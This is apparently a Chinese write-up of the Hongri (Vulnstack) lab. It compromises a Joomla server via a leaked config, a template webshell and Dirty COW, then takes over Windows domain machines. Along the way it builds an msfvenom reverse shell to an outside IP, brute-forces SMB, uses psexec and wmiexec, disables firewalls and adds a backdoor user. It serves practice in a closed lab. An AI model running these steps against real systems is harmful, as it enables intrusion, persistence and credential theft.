每次做红日靶场最痛苦的事情就是安装虚拟机,每次内存都爆满。。。
环境配置
这次需要配一张192.168.93.0的VMnet2网卡
然后把centos的网卡多设置一张NAT模式的就好了
把NAT改回111网段了
centos运行的时候要重新获取桥接模式的网卡ip:
1 | ifdown eth0 |
总览
1 | 5台机 |
开打
信息搜集
现在啥都不知道,只能够对192.168.31.168进行渗透
wappalyzer显示是一个joomla的cms
kscan扫端口,dirsearch扫目录:
扫出端口如下:
1 | ssh 22 |
发现configuration.php~
,里面有sql的密码
1 | cvcvgjASD!@ |
administrator
有后台
尝试弱密码爆破(top3000)后台
爆破不了,不是弱密码
查找到2023的cve,发现不行
外网渗透
这边用navicat连一下数据库:
连上以后找一下有没有管理员的密码(搜一下users)
这边在am2zu_users
里找到了
但是密码不是明文,这就有点难办了。这边查了一下joomla的管理员密码,发现有
可以试试
1 | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 |
改完之后用administrator secret
进来了
接下来就是随便找个地方传shell了
Joomla后台模板Getshell技巧-腾讯云开发者社区-腾讯云 (tencent.com)
Extensions - Templates - Templates -选择error.php文件
写了个一句话木马,这里在左上角可以看到error.php in beez3
然后访问:
1 | http://ip/joomla/templates/beez3/error.php |
蚁剑连接:
虚拟终端打whoami返回ret=127,说明没权限
这边直接用蚁剑的bypassdisablefunction
绕过
用这个GG UAF
就可以了
但是用不了ifconfig
所以这边换成LD_PRELOAD
连到.antproxy.php
,密码是刚刚的cmd
这下ok了
内网信息收集
ifconfig
一下:
发现离谱的是地址居然是192.168.93.120
而不是我们的192.168.31.168
也就是说我们的192.168.31.168
是公网ip,而192.168.93.120
是内网的ip
emm,接下来想上线msf,通过arch
发现是64位的操作系统:
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=106.52.94.23 LPORT=2333 -f elf > shell.elf |
上线不了。。。而且很卡,得等一会
翻翻文件有什么东西。翻到了/tmp/mysql/test.txt
真的有人会藏东西到这地方吗
1 | adduser wwwuser |
用linux的大概都知道,这里的意思就是新增了一个用户wwwuser
,密码是wwwuser_123Aqx
,这里可以通过SSH连接
进来了
连进ssh以后就可以想办法提权了
看一下有没有find的提权:
1 | find / -perm -u=s -type f 2>/dev/null |
没得,看内核
1 | Linux MiWiFi-R4CM-srv 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux |
2.6.32,可以用脏牛:
GitHub - Rvn0xsy/linux_dirty: 更改后的脏牛提权代码,可以往任意文件写入任意内容,去除交互过程
适用条件:
1.目标服务器未打补丁
2.Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
这边直接用terminus的sftp传dirty.c
gcc编译
1 | gcc -pthread dirty.c -o dirty -lcrypt |
然后
1 | su rooter |
msf上线
重新执行一下这个shell
上线成功
简单添加一下路由和socks4代理。这里的内网端我们已经通过ifconfig
扫出来是192.168.93.0
端了
添加路由:
1 | run autoroute -s 192.168.93.0 |
添加socks4代理:
1 | use auxiliary/server/socks_proxy |
proxychains扫192.168.93端
1 | proxychains nmap 192.168.93.0 -sT -Pn |
…不知道是不是命令输错了,建议用msf的udp_probe
模块探测:
1 | use auxiliary/scanner/discovery/udp_probe |
这里解决了之前在Vulnstack2
里的运行过慢问题,就是要提高线程(((
这里探测出了:
1 | 192.168.93.10 |
proxychains上nmap继续扫:
1 | proxychains nmap 192.168.93.x -sT -Pn |
10段扫的比较慢
后面直接就timeout了,无敌,等他扫完要20分钟???
扫出来以后发现三台都有445,试试永恒之蓝能不能和他爆了
1 | use exploit/windows/smb/ms17_010_eternalblue |
全部用不了,但是我们可以知道他们的系统是啥:
1 | 10 Windows server 2012 R2 |
不能用永恒之蓝爆,换一种方式,用smb连接。爆一下smb密码
1 | use auxiliary/scanner/smb/smb_login |
域控密码
1 | zxcASDqw123!! |
爆20:
1 | set rhost 192.168.93.20 |
1 | 123qwe!ASD |
爆30:
1 | set rhost 192.168.93.30 |
也是123qwe!ASD
如果这边msf的爆不了可以换hydra
hydra也有这个功能:
1 | hydra -l administrator -P 字典路径 ip smb |
横向移动
用smb模块的psexec上线就好了,上线一台直接派生去cs爆
1 | use windows/smb/psexec |
10的进不去
试试20和30的
20的能连,meterpreter弹过来了
能连
还是system权限
这边迁移到explorer.exe(PID 3800)
1 | migrate 3800 |
先关防火墙,开3389
1 | netsh advfirewall set allprofiles state off |
20的机子拿下,但是10和30的机子不行
这边换成wmiexec
GitHub - XiaoliChan/wmiexec-Pro: New generation of wmiexec.py
wmiexec也是一种横向移动工具。它利用了WMI接口来远程管理windows系统。WMI是一个windows操作系统提供的系统管理工具。提供了一套API接口,可以对本地和远程Windows系统进行管理。如查看进程,执行命令,上传文件等
使用wmiexec前需要在目标机器上开启wmi服务,并且确保防火墙不会阻止和wmi服务的通信
usage:
1 | python3 wmiexec-pro.py username:password@target_ip |
1 | proxychains python3 wmiexec-pro.py 'administrator:zxcASDqw123!!@192.168.93.10' exec-command -shell |
拿到shell:
同样的操作关防火墙开3389
1 | netsh advfirewall set allprofiles state off |
拿下
最后一台
1 | proxychains python3 wmiexec-pro.py 'administrator:123qwe!ASD@192.168.93.30' exec-command -shell |
拿下
1 | netsh advfirewall set allprofiles state off |
这边还连不上,显示untrusted,这边试试添加一个用户:
1 | net user err0r hongrisec@2019 /add |
OK了
看一下域控里的文件就好了,flag在C:\\Users\\Administrator\\Docunments
这里如果只爆出一个密码的话,可以传mimikatz然后serkurlsa::logonpasswords
注意如果是win2012的机子的话,需要
1 | log |